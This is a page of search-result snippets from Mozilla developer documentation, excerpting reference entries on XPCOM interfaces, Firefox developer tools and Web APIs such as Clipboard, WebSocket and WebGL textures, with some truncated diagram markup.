... boolean createstartupstate(in long awindowwidth, in long awindowheight); obsolete since gecko 1.8 nsixulwindow createtoplevelwindow(in nsixulwindow aparent, in nsiuri aurl, in pruint32 achromemask, in long ainitialwidth, in long ainitialheight, in nsiappshell aappshell); nsiwebnav createwindowlessbrowser (in bool aischrome) void destroyhiddenwindow(); void doprofilestartup(in nsicmdlineservice acmdlineservice, in boolean caninteract); obsolete since gecko 1.8 void ensure1window(in nsicmdlineservice acmdlineservice); obsolete since gecko 1.8 void enterlastwindowclosingsurvivalarea(); obsolete since gecko 1.8 void exitlastwindowclosingsurvivalarea(); obsolete since gecko 1.8 void gethiddenwindowandjscontext(out ...
...obsolete since gecko 1.8 constants constant value description size_to_content -1 create a window, which will be initially invisible.
...And 8 more matches
nsIDOMMozNetworkStatsManager
please check dom/network/interfaces/nsidomnetworkstatsmanager.idl to make sure this data is accurate.
... inherits from: nsisupports last changed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) implemented by: @mozilla.org/networkstatsmanager;1.
... to create an instance, use: var networkstatsmanager = components.classes["@mozilla.org/networkstatsmanager;1"] .createinstance(components.interfaces.nsidomnetworkstatsmanager); furthermore, the networkstatsmanager is published through a moznetworkstats child object within the navigator object.
...And 8 more matches
nsIDOMXULElement
66 introduced gecko 1.0 inherits from: nsidomelement last changed in gecko 1.9 (firefox 3) method overview void blur(); void click(); void docommand(); void focus(); nsidomnodelist getelementsbyattribute(in domstring name, in domstring value); nsidomnodelist getelementsbyattributens(in domstring namespaceuri, in domstring name, in domstring value); attributes attribute type description align domstring gets/sets the value of the element's align attribute.
...docommand() generates and dispatches a basic command event, as if the element was clicked with no keyboard modifiers.
...getelementsbyattribute() searches the dom subtree for elements with the given attribute that are not in a namespace.
...And 8 more matches
nsIEventListenerService
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/eventlistenerservice;1.
...method overview void geteventtargetchainfor(in nsidomeventtarget aeventtarget, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsidomeventtarget aoutarray); void getlistenerinfofor(in nsidomeventtarget aeventtarget, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsieventlistenerinfo aoutarray); boolean haslistenersfor(in nsidomeventtarget aeventtarget, in domstring atype); void addsystemeventlistener(in nsidomeventt...
... obsolete since gecko 7.0 methods geteventtargetchainfor() returns an array of event targets indicating all the targets that will receive the same events that are delivered to the specified target.
...And 8 more matches
nsINavHistoryResult
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) places results use a model-view-controller (mvc) design pattern.
... result objects represent the model in which the data is stored.
...the result indicates to the view when something changes by using the nsinavhistoryresultviewer interface.
...And 8 more matches
nsINavHistoryResultTreeViewer
1.0 66 introduced gecko 1.8 inherits from: nsinavhistoryresultobserver last changed in gecko 1.9 (firefox 3) this object removes itself from the associated result when the tree is detached; this prevents circular references.
... it's important to be aware of this—if you want to reuse the same viewer, you need to keep your own reference to it, then reinitialize it when the tree changes.
... if you use this object and attach it to a result without attaching it to a tree, then forget about it, it will leak.
...And 8 more matches
nsISelection
inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) interface for manipulating and querying the current selected range of nodes within the document.
... nsidomrange getrangeat(in long index); void modify(in domstring alter, in domstring direction, in domstring granularity); void removeallranges(); void removerange(in nsidomrange range); void selectallchildren(in nsidomnode parentnode); void selectionlanguagechange(in boolean langrtl); domstring tostring(); attributes attribute type description anchornode nsidomnode returns the node in which the selection begins.
... anchoroffset long the offset within the (text) node where the selection begins.
...And 8 more matches
nsIURL
inherits from: nsiuri last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) http://host/directory/filebasename.fileextension?query http://host/directory/filebasename.fileextension#ref http://host/directory/filebasename.fileextension;param \ \ / \ ----------------------- \ | / \ filename / ---------------------------- | filepath you can get a nsiurl from an nsiuri, using the queryinterface() method: var myuri = compo...
...nents.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var myurl = myuri.queryinterface(components.interfaces.nsiurl); } catch(e) { // the uri is not an url } or using instanceof: if (myuri instanceof components.interfaces.nsiurl) { // your code here } method overview autf8string getcommonbasespec(in nsiuri auritocompare); autf8string getrelativespec(in nsiuri auritocompare); attributes attribute type description directory autf8string directory portion of a url.
...some characters may be escaped.
...And 8 more matches
nsIWebBrowserFindInFrames
inherits from: nsisupports last changed in gecko 1.7 get an instance by doing a queryinterface from nsiwebbrowserfind.
... attributes attribute type description currentsearchframe nsidomwindow frame at which to start the search.
... once the search is done, this will be set to be the last frame searched, whether or not a result was found.
...And 8 more matches
nsIWebContentHandlerRegistrar
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/embeddor.implemented/web-content-handler-registrar;1 as a service: var nsiwchr = cc["@mozilla.org/embeddor.implemented/web-content-handler-registrar;1"] .getservice(ci.nsiwebcontenthandlerregistrar); method overview void registercontenthandler(in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow contentwindow) void registerprotocolhandler(in domstring proto...
... contentwindow the dom content window from which the method has been called.
...this string must also be of either the http or https schemes.
...And 8 more matches
nsIXPConnect
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to access the xpconnect service, use code like this: nsresult rv; nscomptr<nsixpconnect> xpconnect = do_getservice(nsixpconnect::getcid(), &rv); if (ns_succeeded(rv)) { /* use the object */ } method overview void addjsholder(in voidptr aholder, in nsscriptobjecttracerptr atracer); native code only!
...in nsisupports aouter, in jscontextptr ajscontext, in jsobjectptr ajsobj, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); nsixpconnectjsobjectholder wrapnative(in jscontextptr ajscontext, in jsobjectptr ascope, in nsisupports acomobj, in nsiidref aiid); void wrapnativetojsval(in jscontextptr ajscontext, in jsobjectptr ascope, in nsisupports acomobj, in nswrappercacheptr acache, in nsiidptr aiid, in boolean aallowwrapper, out jsval aval, out nsixpconnectjsobjectholder aholder); attributes attribute type description collectgarbageonmainthreadonly prbool obsolete since gecko 1.9 currentjsstack nsistackframe read only.
... void flagsystemfilenameprefix( in string afilenameprefix, in prbool awantnativewrappers ); parameters afilenameprefix the utf-8 filename prefix to match, which should end with a slash (/) character.
...And 8 more matches
Filelink Providers
filelink is a thunderbird feature that makes it easy for users to upload large attachments to web-based storage services such as hightail.
... if the nsimsgcloudfileprovider is being created as part of an add-on, the add-on must register the component in chrome.manifest.
...see cloudfile/cloudfilecomponents.manifest for an example, as well as this document on chrome.manifest files.
...And 8 more matches
Thunderbird extensions
much of it may no longer be relevant.
... also see thunderbird 57-60 add-ons guide for changes introduced in thunderbird 60.
...functions for dealing with messages (delete, archive, change tags, etc.) are included.
...And 8 more matches
Using COM from js-ctypes
for communication between the different windows applications among themselves, microsoft has developed a series of technologies alongside the main windows api.
... this started out with dynamic data exchange (dde), which was superseded by object linking and embedding (ole) and later by the component object model (com), automation objects, activex controls, and the .net framework.
... speech synthesis example let's start with following c++ code, which invokes microsoft speech api and says "hello, firefox!" with system default voice, then wait until the speaking done.
...And 8 more matches
Set a breakpoint - Firefox Developer Tools
add log: add a log point, which logs a value to your console rather than pausing execution as a breakpoint does.
... unconditional breakpoints an unconditional breakpoint is one where the code will always pause execution when it is reached.
... the line number is highlighted in blue: in addition, if the line contains multiple function calls, each one will be given a small blue arrow icon to the left of it.
...And 8 more matches
Paint Flashing Tool - Firefox Developer Tools
whenever an event happens that might change a visible part of the web page then the browser must repaint some portion of the page.
... for example, a repaint will be needed if the user scrolls the page or moves the mouse pointer over an element with a :hover pseudo-class that changes the element's style.
...it tries to work out which parts of the screen are "damaged" and repaint only those.
...And 8 more matches
Call Tree - Firefox Developer Tools
the call tree tells you which javascript functions the browser spent the most time in.
...statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser spent executing it.
... note that we use the same program - the same profile, in fact - in the documentation page for the flame chart.
...And 8 more matches
Storage Inspector - Firefox Developer Tools
currently it can be used to inspect the following storage types: cache storage — any dom caches created using the cache api.
... storage inspector user interface the storage inspector ui is split into three main components: storage tree table widget sidebar storage tree the storage tree lists all the storage types that the storage inspector can inspect: under each type, objects are organized by origin.
... under "cache storage", objects are organized by origin and then by the name of the cache: indexeddb objects are organized by origin, then by database name, then by object store name: with the cookies, local storage, and session storage types, there's only one level in the hierarchy, so stored items are listed directly under each origin: you can click on each item in the tree to expand or collapse its children.
...And 8 more matches
AudioNode.disconnect() - Web APIs
the disconnect() method of the audionode interface lets you disconnect one or more nodes from the node on which the method is called.
... syntax audionode.disconnect(); audionode.disconnect(output); audionode.disconnect(destination); audionode.disconnect(destination, output); audionode.disconnect(destination, output, input); return value undefined parameters there are several versions of the disconnect() method, which accept different combinations of parameters to control which nodes to disconnect from.
...if this value is an audionode, a single node is disconnected from, with any other, optional, parameters (output and/or input) further limiting which inputs and/or outputs should be disconnected.
...And 8 more matches
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
the read-only parameterdescriptors property of an audioworkletprocessor-derived class is a static getter, which returns an iterable of audioparamdescriptor-based objects.
...the properties of these objects are as follows: name the domstring which represents the name of the audioparam.
... automationrate optional either "a-rate", or "k-rate" string which represents an automation rate of this audioparam.
...And 8 more matches
BaseAudioContext.createBuffer() - Web APIs
the createbuffer() method of the baseaudiocontext interface is used to create a new, empty audiobuffer object, which can then be populated by data, and played via an audiobuffersourcenode for more details about audio buffers, check out the audiobuffer reference page.
...the asynchronous method decodeaudiodata() does the same thing — takes compressed audio, say, an mp3 file, and directly gives you back an audiobuffer that you can then set to play via in an audiobuffersourcenode.
... syntax var buffer = baseaudiocontext.createbuffer(numofchannels, length, samplerate); parameters note: for an in-depth explanation of how audio buffers work, and what these parameters mean, read audio buffers: frames, samples and channels from our basic concepts guide.
...And 8 more matches
BatteryManager - Web APIs
the batterymanager interface provides ways to get information about the system's battery charge level.
... the navigator.getbattery() method returns a battery promise that is resolved in a batterymanager interface which you can use to interact with the battery status api.
... properties batterymanager.charging read only a boolean value indicating whether or not the battery is currently being charged.
...And 8 more matches
BluetoothDevice - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/bluetoothdevice" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font...
...-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">bluetoothdevice</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} interface interface bluetoothdevice { readonly attribute domstring id; readonly attribute domstring?
...gatt; readonly attribute frozenarray uuids; promise watchadvertisements(); void unwatchadvertisements(); readonly attribute boolean watchingadvertisements; }; bluetoothdevice implements eventtarget; bluetoothdevice implements bluetoothdeviceeventhandlers; bluetoothdevice implements characteristiceventhandlers; bluetoothdevice implements serviceeventhandlers; properties bluetoothdevice.id read only a domstring that uniquely identifies a device.
...And 8 more matches
BudgetService - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetservice experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
... webview android full support 55chrome android full support 55firefox android ?
...And 8 more matches
Managing screen orientation - Web APIs
adjusting layout based on the orientation one of the most common cases for orientation changes is when you want to revise the layout of your content based on the orientation of the device.
... for example, perhaps you want a button bar to stretch along the longest dimension of the device's display.
... some devices (mainly mobile devices) can dynamically change the orientation of the screen based on their own orientation, ensuring that the user will always be able to read what's on the screen.
...And 8 more matches
Basic usage of canvas - Web APIs
the id attribute isn't specific to the <canvas> element but is one of the global html attributes which can be applied to any html element (like class for instance).
... it is always a good idea to supply an id because this makes it much easier to identify it in a script.
...we'll see how this is done in a dedicated chapter of this tutorial.
...And 8 more matches
Transformations - Web APIs
until now, we only used the default grid and changed the size of the overall canvas for our needs.
... saving and restoring state before we look at the transformation methods, let's look at two other methods which are indispensable once you start generating ever more complex drawings.
... the current clipping path, which we'll see in the next section.
...And 8 more matches
Clipboard - Web APIs
WebAPIClipboard
all of the clipboard api methods operate asynchronously; they return a promise which is resolved once the clipboard access has been completed.
... a typical application accesses clipboard functionality by mapping user input such as keybindings, menu selections, etc.
... read() requests arbitrary data (such as images) from the clipboard, returning a promise.
...And 8 more matches
console - Web APIs
WebAPIConsole
this listing lets you use disclosure triangles to examine the contents of child objects.
...each of these results in output styled differently in the log, and you can use the filtering controls provided by your browser to only view the kinds of output that interest you.
... there are two ways to use each of the output methods; you can simply pass in a list of objects whose string representations get concatenated into one string, then output to the console, or you can pass in a string containing zero or more substitution strings followed by a list of objects to replace them.
...And 8 more matches
Content Index API - Web APIs
examples could be a news website prefetching the latest articles in the background, or a content streaming app registering downloaded content.
... the content index api is an extension to service workers, which allows developers to add urls and metadata of already cached pages, under the scope of the current service worker.
...a url for a cached media file, for example, can't be indexed directly.
...And 8 more matches
DOMException - Web APIs
each exception has a name, which is a short "camelcase" style string identifying the error or abnormal condition.
... properties domexception.code read only returns a short that contains one of the error code constants, or 0 if none match.
...(legacy code value: 1 and legacy constant name: index_size_err) hierarchyrequesterror the node tree hierarchy is not correct.
...And 8 more matches
EffectTiming.easing - Web APIs
the effecttiming dictionary's easing property in the web animations api specifies the timing function used to scale the time to produce easing effects, where easing is the rate of the animation's change over time.
...available values include: linear a constant rate of change, neither accelerating nor deccelerating.
... ease a decelerated rate of change, going from fast to slow.
...And 8 more matches
FileReaderSync - Web APIs
the filereadersync interface allows to read file or blob objects synchronously.
... this interface is only available in workers as it enables synchronous i/o that could potentially block.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 8 more matches
FileSystem - Web APIs
some browsers offer additional apis to create and manage file systems, such as chrome's requestfilesystem() method.
...installing a chrome extension.
... the relevant chrome api can be found here.
...And 8 more matches
HTMLLinkElement - Web APIs
the htmllinkelement interface represents reference information for external resources and the relationship of those resources to a document and vice-versa (corresponds to <link> element; not to be confused with <a>, which is represented by htmlanchorelement).
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...And 8 more matches
HTMLSlotElement.name - Web APIs
examples the following snippet is taken from our slotchange example (see it live also).
... let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
... every time the element inserted in the slot changes, we log a report to the console saying which slot has changed, and what the new node inside the slot is.
...And 8 more matches
Recommended Drag Types - Web APIs
caution: all methods and properties in this document with a moz prefix, such as mozsetdataat(), will only work with gecko-based browsers.
... to drag multiple links, separate each link inside the text/uri-list data with a crlf linebreak.
... the following example shows how to create an area for receiving dropped files: <listbox ondragenter="return checkdrag(event)" ondragover="return checkdrag(event)" ondrop="dodrop(event)"/> <script> function checkdrag(event) { return event.datatransfer.types.contains("application/x-moz-file"); } function dodrop(event) { var file = event.datatransfer.mozgetdataat("application/x-moz-file", 0); if (file instanceof components.interfaces.nsifile) { event.currenttarget.appenditem(fil...
...And 8 more matches
IDBObjectStore.createIndex() - Web APIs
it creates a new field/column defining a new data point for each database record to contain.
... bear in mind that indexeddb indexes can contain any javascript data type; indexeddb uses the structured clone algorithm to serialize stored objects, which allows for storage of simple and complex objects.
... note that this method must be called only from a versionchange transaction mode callback.
...And 8 more matches
IDBRequest - Web APIs
the idbrequest interface of the indexeddb api provides access to results of asynchronous requests to databases and database objects using event handler attributes.
... each reading and writing operation on a database is done using a request.
... all asynchronous operations immediately return an idbrequest instance.
...And 8 more matches
IntersectionObserver.IntersectionObserver() - Web APIs
the rootmargin, if specified, is checked to ensure it's syntactically correct, the thresholds are checked to ensure that they're all in the range 0.0 and 1.0 inclusive, and the threshold list is sorted in ascending numeric order.
... syntax var observer = new intersectionobserver(callback[, options]); parameters callback a function which is called when the percentage of the target element is visible crosses a threshold.
... the callback receives as input two parameters: entries an array of intersectionobserverentry objects, each representing one threshold which was crossed, either becoming more or less visible than the percentage specified by that threshold.
...And 8 more matches
MediaSessionActionDetails - Web APIs
the media session api's mediasessionactiondetails dictionary is the type used by the sole input parameter into the callback which is executed when a media session action occurs.
... it specifies the type of action which needs to be performed as well as the data needed to perform the action.
... properties action a media session action type string taken from the mediasessionaction enumerated type, indicating which type of action needs to be performed.
...And 8 more matches
Using the Media Capabilities API - Web APIs
these parameters may include the codecs, resolutions, bit rates, frame rates, and other such details.
... more and more finely-detailed information about the display's properties, so that informed decisions can be made when choosing the best format to play on the user's device.
...one feature of this is the ability to detect when the device switches gpus, so you can make appropriate adjustments based on the new gpu's capabilities.
...And 8 more matches
Transcoding assets for Media Source Extensions - Web APIs
this article takes you through the requirements and shows you a toolchain you can use to encode your assets appropriately.
...most dash clients expect a corresponding media presentation description (mpd) manifest file, which is typically generated while generating the multiple resolution asset files.
... below we'll cover all of these steps, but first let's look at a toolchain we can use to do this fairly easily.
...And 8 more matches
MessageEvent - Web APIs
channel messaging (see messageport.postmessage() and messageport.onmessage).
... cross-worker/document messaging (see the above two entries, but also worker.postmessage(), worker.onmessage, serviceworkerglobalscope.onmessage, etc.) broadcast channels (see broadcastchannel.postmessage()) and broadcastchannel.onmessage).
... webrtc data channels (see rtcdatachannel.onmessage).
...And 8 more matches
MutationObserverInit.attributes - Web APIs
the mutationobserverinit dictionary's optional attributes property is used to specify whether or not to watch for attribute value changes on the node or nodes being observed.
... syntax var options = { attributes: true | false } value a boolean value indicating whether or not to report through the callback any changes to the values of attributes on the node or nodes being monitored.
... if true, the callback specified when observe() was used to start observing the node or subtree will be called any time one or more attributes have changed on observed nodes.
...And 8 more matches
Node.nodeType - Web APIs
WebAPINodenodeType
it distinguishes different kind of nodes from each other, such as elements, text and comments.
... syntax var type = node.nodetype; returns an integer which specifies the type of the node.
... node.cdata_section_node 4 a cdatasection, such as <!cdata[[ … ]]>.
...And 8 more matches
NodeList - Web APIs
WebAPINodeList
nodelist objects are collections of nodes, usually returned by properties such as node.childnodes and methods such as document.queryselectorall().
... although nodelist is not an array, it is possible to iterate over it with foreach().
... however, some older browsers have not implemented nodelist.foreach() nor array.from().
...And 8 more matches
PerformanceEventTiming - Web APIs
auxclick beforeinput click compositionend compositionstart compositionupdate contextmenu dblclick dragend dragenter dragleave dragover dragstart drop input keydown keypress keyup mousedown mouseenter mouseleave mouseout mouseover mouseup pointerover pointerenter pointerdown pointerup pointercancel pointerout pointerleave gotpointercapture lostpointercapture touchstart touchend touchcancel properties performanceeventtiming.processingstart returns the time at which event dispatch started.
... performanceeventtiming.processingend returns the time at which the event dispatch ended.
... examples the following example shows how to use the api for all events: const observer = new performanceobserver(function(list) { const perfentries = list.getentries().foreach(entry => { // full duration const inputduration = entry.duration; // input delay (before processing event) const inputdelay = entry.processingstart - entry.starttime; // synchronous event processing time (between start and end dispatch).
...And 8 more matches
PointerEvent - Web APIs
the pointerevent interface represents the state of a dom event produced by a pointer such as the geometry of the contact point, the device type that generated the event, the amount of pressure that was applied on the contact surface, etc.
... a pointer is a hardware agnostic representation of input devices (such as a mouse, pen or contact point on a touch-enable surface).
... the pointer can target a specific coordinate (or set of coordinates) on the contact surface such as a screen.
...And 8 more matches
RTCIceCandidate - Web APIs
the rtcicecandidate interface—part of the webrtc api—represents a candidate internet connectivity establishment (ice) configuration which may be used to establish an rtcpeerconnection.
...when starting a webrtc peer connection, typically a number of candidates are proposed by each end of the connection, until they mutually agree upon one which describes the connection they decide will be best.
... properties candidate read only a domstring representing the transport address for the candidate that can be used for connectivity checks.
...And 8 more matches
RTCInboundRtpStreamStats - Web APIs
bytesreceived a 64-bit integer which indicats the total numer of bytes that have been received so far for this media source.
... fecpacketsdiscarded an integer value indicating the number of rtp forward error correction (fec) packets which have been received for this source, for which the error correction payload was discarded.
... fircount an integer value which indicates the total number of full intra request (fir) packets which this receiver has sent to the sender.
...And 8 more matches
RTCPeerConnection() - Web APIs
the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local device and a remote peer.
... certificates optional an array of objects of type rtccertificate which are used by the connection for authentication.
... if this property isn't specified, a set of certificates is generated automatically for each rtcpeerconnection instance.
...And 8 more matches
RTCRtpSender.setParameters() - Web APIs
the setparameters() method of the rtcrtpsender interface applies changes the configuration of sender's track, which is the mediastreamtrack for which the rtcrtpsender is responsible.
... encodings an array of rtcrtpencodingparameters objects, each specifying the parameters for a single codec that could be used to encode the track's media.
... priority a string from the rtcprioritytype enumerated type which indicates the encoding's priority.
...And 8 more matches
Request() - Web APIs
WebAPIRequestRequest
syntax var myrequest = new request(input[, init]); parameters input defines the resource that you wish to fetch.
... this can either be: a usvstring containing the direct url of the resource you want to fetch.
... body: any body that you want to add to your request: this can be a blob, buffersource, formdata, urlsearchparams, usvstring, or readablestream object.
...And 8 more matches
SVGFETurbulenceElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeturbulenceelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mid...
...And 8 more matches
Screen Capture API - Web APIs
the screen capture api introduces additions to the existing media capture and streams api to let the user select a screen or portion of a screen (such as a window) to capture as a media stream.
... to start capturing video from the screen, you call getdisplaymedia() on the instance of media navigator.mediadevices: capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); the promise returned by getdisplaymedia() resolves to a mediastream which streams the captured media.
...similar to getusermedia(), this method creates a promise that resolves with a mediastream containing the display area selected by the user, in a format that matches the specified options.
...And 8 more matches
Sensor APIs - Web APIs
additionally you can put object instantiation inside a try...catch block.
...} if ("proximitysensor" in window) { // watch out!
...} defensive programming as stated in feature detection, checking for a particular sensor api is insufficient for feature detection.
...And 8 more matches
Slottable: assignedSlot - Web APIs
syntax var slotelement = elementinstance.assignedslot value an htmlslotelement instance, or null if the element is not assigned to a slot, or if the associated shadow root was attached with its mode set to closed (see element.attachshadow for further details).
... examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in which a shadow root is attached and then populated using the contents of a template that contains a slot named my-text.
...here is one such example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> in our javascript file we get a reference to the <span> shown above, then log a reference to the original <slot> element the <span> was inserted in.
...And 8 more matches
SubtleCrypto.deriveKey() - Web APIs
it returns a promise which will be fulfilled with a cryptokey object representing the new key.
... it's worth noting that the three key derivation algorithms you can use have quite different characteristics and are appropriate in quite different situations.
... supported algorithms the three algorithms supported by derivekey() have quite different characteristics and are appropriate in different situations.
...And 8 more matches
Text - Web APIs
WebAPIText
if an element has no markup within its content, it has a single child implementing text that contains the element's text.
... however, if the element contains markup, it is parsed into information items and text nodes that form its children.
... new documents have a single text node for each block of text.
...And 8 more matches
TextTrack.mode - Web APIs
WebAPITextTrackmode
you can read this value to determine the current mode, and you can change this value to switch modes.
... syntax var mode = texttrack.mode; texttrack.mode = "disabled" | "hidden" | "showing"; value a domstring which indicates the track's current mode.
...this is the default value, unless the text track has the default boolean attribute is specified, in which case the default is showing.
...And 8 more matches
TextTrack - Web APIs
WebAPITextTrack
thus, for displayed cues such as captions or subtitles, the active cues are currently being displayed.
... texttrack.cues read only a texttrackcuelist which contains all of the track's cues.
... texttrack.id read only a domstring which identifies the track, if it has one.
...And 8 more matches
Lighting in WebGL - Web APIs
« previousnext » as should be clear by now, webgl doesn't have much built-in knowledge.
...instead of discussing it in depth here, take a look at the article on phong shading at wikipedia, which provides a good overview of the most commonly used lighting model or if you'd like to see a webgl based explanation see this artcle.
... there are three basic types of lighting: ambient light is the light that permeates the scene; it's non-directional and affects every face in the scene equally, regardless of which direction it's facing.
...And 8 more matches
Using textures in WebGL - Web APIs
in our case, we'll be using a single texture, mapped onto all six sides of our rotating cube, but the same technique can be used for any number of textures.
... note: it's important to note that the loading of textures follows cross-domain rules; that is, you can only load textures from sites for which your content has cors approval.
...rnalformat, width, height, border, srcformat, srctype, pixel); const image = new image(); image.onload = function() { gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, level, internalformat, srcformat, srctype, image); // webgl1 has different requirements for power of 2 images // vs non power of 2 images so check if the image is a // power of 2 in both dimensions.
...And 8 more matches
Writing WebSocket client applications - Web APIs
note: the example snippets in this article are taken from our websocket chat client/server sample.
... the websocket constructor accepts one required and one optional parameter: websocket = new websocket(url, protocols); url the url to which to connect; this should be the url to which the websocket server will respond.
... this should use the url scheme wss://, although some software may allow you to use the insecure ws:// for local connections.
...And 8 more matches
Window.requestFileSystem() - Web APIs
the non-standard window method requestfilesystem() method is a google chrome-specific method which lets a web site or app gain access to a sandboxed file system for its own use.
... even compared to the rest of the file and directory entries api, requestfilesystem() is especially non-standard; only chrome implements it, and all other browser makers have decided that they will not implement it.
... syntax this method is prefixed with webkit in all browsers that implement it (that is, google chrome).
...And 8 more matches
window.requestIdleCallback() - Web APIs
this enables developers to perform background and low priority work on the main event loop, without impacting latency-critical events such as animation and input response.
... functions are generally called in first-in-first-out order; however, callbacks which have a timeout specified may be called out-of-order if necessary in order to run them before the timeout elapses.
